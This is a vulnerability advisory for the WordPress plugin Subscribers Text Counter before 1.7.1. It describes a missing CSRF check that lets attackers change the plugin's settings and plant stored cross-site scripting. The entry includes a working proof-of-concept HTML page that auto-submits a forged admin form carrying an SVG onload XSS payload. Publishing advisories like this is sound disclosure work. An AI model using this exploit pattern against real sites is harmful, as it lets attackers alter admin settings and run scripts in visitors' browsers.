WordPress Plugin Vulnerabilities
Subscribers Text Counter < 1.7.1 - Settings Update via CSRF to Stored XSS
Description
The plugin does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack, which also lead to Stored Cross-Site Scripting due to the lack of sanitisation and escaping
Proof of Concept
Create an HTML file with the following content and have a logged in admin access it:
```
<body onload="document.forms[0].submit()">
<form action="https://example.com/wp-admin/options-general.php?page=subscribers_text_counter" method="POST">
<input type="text" name="twitter" value='"><svg/onload=alert(2);>'>
<input type="text" name="stextcount_hidden" value="settings">
<input type="submit" value="submit">
</form>
</body>
```
Navigate to the plugin's settings to trigger the XSS.
Affects Plugins
Fixed in 1.7.1 References
CVE
Classification
Type
XSS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Pallab Jyoti Borah
Submitter
Pallab Jyoti Borah
Submitter website
Submitter twitter
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2023-08-04 (about 9 months ago)
Added
2023-08-04 (about 9 months ago)
Last Updated
2023-08-04 (about 9 months ago)
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